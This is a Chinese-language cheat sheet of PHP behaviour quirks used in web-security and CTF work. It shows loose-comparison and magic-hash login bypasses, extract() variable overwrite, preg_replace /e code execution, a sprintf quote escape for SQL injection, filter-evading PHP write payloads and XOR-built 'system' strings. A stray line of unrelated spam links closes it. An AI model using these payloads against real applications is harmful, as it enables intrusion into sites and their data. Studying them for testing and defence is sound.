PHP Tag
<? ?>
- short_open_tag 決定是否可使用短標記
- 或是編譯php時 --enable-short-tags
<?=
- 等價 <? echo
- 自
PHP 5.4.0
起,always work!
<% %>
、<%=
- 自
PHP 7.0.0
起,被移除 - 須將
asp_tags
設成On
- 自
<script language="php"
- 自
PHP 7.0.0
起,被移除 <script language="php">system("id"); </script>
- 自
PHP Weak Type
-
var_dump('0xABCdef' == ' 0xABCdef');
- true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
-
var_dump('0010e2' == '1e3’);
- true
-
strcmp([],[])
- 0
-
sha1([])
- NULL
-
'123' == 123
-
'abc' == 0
-
'123a' == 123
-
'0x01' == 1
- PHP 7.0後,16進位字串不再當成數字
- e.g
var_dump('0x01' == 1)
=> false
-
'' == 0 == false == NULL
-
md5([1,2,3]) == md5([4,5,6]) == NULL
- 可用在登入繞過 (用戶不存在,則password為NULL)
-
var_dump(md5(240610708));
- 0e462097431906509019562988736854
-
var_dump(sha1(10932435112));
- 0e07766915004133176347055865026311692244
-
$a="123"; $b="456"
$a + $b == "579";
$a . $b == "123456"
-
$a = 0; $b = 'x';
$a == false
=> true$a == $b
=> true$b == true
=> true
-
$a = 'a'
++$a
=>'b'
$a+1
=>1
PHP 其他特性
Overflow
- 32位元
intval('1000000000000')
=>2147483647
- 64位元
intval('100000000000000000000')
=>9223372036854775807
浮點數精度
-
php -r "var_dump(1.000000000000001 == 1);"
- false
-
php -r "var_dump(1.0000000000000001 == 1);"
- true
-
$a = 0.1 * 0.1; var_dump($a == 0.01);
- false
ereg會被NULL截斷
var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
1
ereg
和eregi
在PHP 7.0.0.已經被移除
intval
- 四捨五入
var_dump(intval('5278.8787'));
5278
intval(012)
=> 10intval("012")
=> 12
extract變數覆蓋
extract($_GET);
.php?_SESSION[name]=admin
echo $_SESSION['name']
=> 'admin'
trim
- 會把字串前後的空白(或其他字元)去掉
- 未指定第二參數,預設會去掉以下字元
" "
(0x20)"\t"
(0x09)"\n"
(0x0A)"\x0B"
(0x0B)"\r"
(0x0D)"\0"
(0x00)
- 可以發現預設不包含
"\f"
(0x0C)- 比較:is_numeric()允許
\f
在開頭
- 比較:is_numeric()允許
- 如果參數是unset或空的變數,回傳值是空字串
is_numeric
-
is_numeric(" \t\r\n 123")
=>true
-
is_numeric(' 87')
=>true
-
is_numeric('87 ')
=>false
-
is_numeric(' 87 ')
=>false
-
is_numeric('0xdeadbeef')
- PHP >= 7.0.0 =>
false
- PHP < 7.0.0 =>
true
- 可以拿來繞過注入
- PHP >= 7.0.0 =>
-
以下亦為合法(返回True)字串:
' -.0'
'0.'
' +2.1e5'
' -1.5E+25'
'1.e5'
in_array
in_array('5 or 1=1', array(1, 2, 3, 4, 5))
- true
in_array('kaibro', array(0, 1, 2))
- true
array_search
mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
- 在
haystack
陣列中,搜尋needle
的值,成功則返回index,失敗返回False
- 在
$strict
為false時,採用不嚴格比較- 預設是False
- Example
$arr=array(1,2,0); var_dump(array_search('kai', $arr))
int(2)
$arr=array(1,2,0); var_dump(array_search('1', $arr))
int(0)
parse_str
parse_str(string, array)
- 會把查詢字串解析到變數中
- 如果未設置第二個參數,會解析到同名變數中
- PHP7.2中不設置第二個參數會產生
E_DEPRECATED
警告
- PHP7.2中不設置第二個參數會產生
parse_str('gg[kaibro]=5566');
array(1) {
["kaibro"]=>
string(4) "5566"
}
parse_url
-
在處理傳入的URL會有問題
-
parse_url('/a.php?id=1')
array(2) { ["host"]=> string(5) "a.php" ["query"]=> string(4) "id=1" }
-
parse_url('///a.php?id=1')
- false
-
parse_url('/a.php?id=1:80')
- PHP < 7.0.0
false
- PHP >= 7.0.0
array(2) { ["path"]=> string(6) "/a.php" ["query"]=> string(7) "id=1:80" }
- PHP < 7.0.0
-
parse_url('http://kaibro.tw:87878')
- 5.3.X版本以下
array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) }
- 其他: false
- 5.3.X版本以下
preg_replace
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
- 搜尋
$subject
中匹配的$pattern
,並用$replacement
替換
- 搜尋
- 第一個參數用
/e
修飾符,$replacement
會被當成PHP code執行- 必須有匹配到才會執行
- PHP 5.5.0起,會產生
E_DEPRECATED
錯誤 - PHP 7.0.0不再支援,用
preg_replace_callback()
代替
example:
<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);
sprintf / vprintf
- 對格式化字串的類型沒檢查
- 格式化字串中%後面的字元(除了%之外)會被當成字串類型吃掉
- 例如
%\
、%'
、%1$\'
- 在某些SQLi過濾狀況下,
%' and 1=1#
中的單引號會被轉義成\'
,%\
又會被吃掉,'
成功逃逸 - 原理:sprintf實作是用switch...case...
- 碰到未知類型,
default
不處理
- 碰到未知類型,
- 例如
file_put_contents
- 第二個參數如果是陣列,PHP會把它串接成字串
- example:
<?php $test = $_GET['txt']; if(preg_match('[<>?]', $test)) die('bye'); file_put_contents('output', $test);
- 可以直接
?txt[]=<?php phpinfo(); ?>
寫入
- 可以直接
spl_autoload_register
spl_autoload_register()
可以自動載入Class- 不指定參數,會自動載入
.inc
和.php
- Example:
- 如果目錄下有kaibro.inc,且內容為class Kaibro{...}
- 則
spl_autoload_register()
會把這個Class載入進來
路徑正規化
a.php/.
file_put_contents("a.php/.", "<?php phpinfo() ?>");
- 可成功寫入
- 經測試Windows可以覆寫、Linux無法
- 可以繞過一些正規表達式判斷
- 可成功寫入
file_get_contents("a.php/.");
- 經測試Windows下可成功讀、Linux無法
- 還有很多其他function也適用
"
=>.
a"php
>
=>?
a.p>p
a.>>>
<
=>*
a.<
URL query decode
$_GET
會對傳入的參數做URLdecode再返回$_SERVER['REQUEST_URI']
和$_SERVER['QUERY_STRING']
則是直接返回
Example:
Request: http://kaibro.tw/test.php?url=%67%67
-
$_GET:
[url] => gg
-
$_SERVER['REQUEST_URI']:
/test.php?url=%67%67
-
$_SERVER['QUERY_STRING']:
url=%67%67
其他
-
大小寫不敏感
<?PhP sYstEm(ls);
-
echo (true ? 'a' : false ? 'b' : 'c');
b
-
echo `whoami`;
kaibro
-
正規表達式
.
不匹配換行字元%0a
-
運算優先權問題
$a = true && false;
$a
=>false
$a = true and false;
$a
=>true
-
chr()
- 大於256會mod 256
- 小於0會加上256的倍數,直到>0
- Example:
chr(259) === chr(3)
chr(-87) === chr(169)
-
遞增
$a="9D9"; var_dump(++$a);
string(3) "9E0"
$a="9E0"; var_dump(++$a);
float(10)
-
算數運算繞Filter
%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
system
- 可用在限制不能出現英數字時 or 過濾某些特殊符號
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
assert
- 其他
~
,++
等運算,也都可用類似概念構造
-
花括號
- 陣列、字串元素存取可用花括號
$array{index}
同$array[index]
北京私家侦探 上海搬家公司 网站制作